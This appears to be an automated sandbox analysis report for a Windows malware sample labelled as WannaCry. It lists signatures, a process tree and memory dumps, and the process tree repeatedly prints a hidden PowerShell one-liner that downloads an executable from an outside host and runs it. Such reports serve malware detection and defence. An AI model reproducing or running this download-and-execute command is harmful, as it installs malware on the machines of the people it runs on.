Analysis

  • max time kernel
    150s
  • max time network
    126s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/10/2026, 01:11

General

  • Target
    2026-10-22_aa402e2d29301a49abc08104943fb2be_wannacry.exe
  • Size 26KB
  • Sample261024-bj81mswt8j
  • SHA256 44cc2b9465787856c5df5a49fbf4120802ffa861d27ad1d98141f03633ced6d3
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-10-22_aa402e2d29301a49abc08104943fb2be_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-10-22_aa402e2d29301a49abc08104943fb2be_wannacry.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2152
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://data-miner.cyou/dl/djcucpv' -OutFile $env:TEMP\BK279399.exe; Start-Process $env:TEMP\BK279399.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5784
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://data-miner.cyou/dl/djcucpv' -OutFile $env:TEMP\BK279399.exe; Start-Process $env:TEMP\BK279399.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4124
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://data-miner.cyou/dl/djcucpv' -OutFile $env:TEMP\BK279399.exe; Start-Process $env:TEMP\BK279399.exe -WindowStyle Hidden }"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:8

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        memory/8-0-0x00007FFD80FAF000-0x00007FFD80FB0000-memory.dmp

        memory/8-1-0x00007FFD80E20000-0x00007FFD817C4000-memory.dmp

        memory/8-4-0x000001B14A320000-0x000001B14A342000-memory.dmp

        memory/8-5-0x00007FFD80E20000-0x00007FFD817C4000-memory.dmp

        memory/8-6-0x00007FFD80E20000-0x00007FFD817C4000-memory.dmp

        memory/8-7-0x00007FFD80E20000-0x00007FFD817C4000-memory.dmp

        memory/8-8-0x00007FFD80E20000-0x00007FFD817C4000-memory.dmp

        memory/8-9-0x00007FFD80E20000-0x00007FFD817C4000-memory.dmp

        memory/8-10-0x000001B14AEC0000-0x000001B14B666000-memory.dmp

        memory/8-11-0x00007FFD80E20000-0x00007FFD817C4000-memory.dmp

        memory/8-12-0x00007FFD80E20000-0x00007FFD817C4000-memory.dmp

        memory/8-13-0x00007FFD80E20000-0x00007FFD817C4000-memory.dmp

        memory/8-16-0x00007FFD80E20000-0x00007FFD817C4000-memory.dmp

        memory/8-17-0x00007FFD80E20000-0x00007FFD817C4000-memory.dmp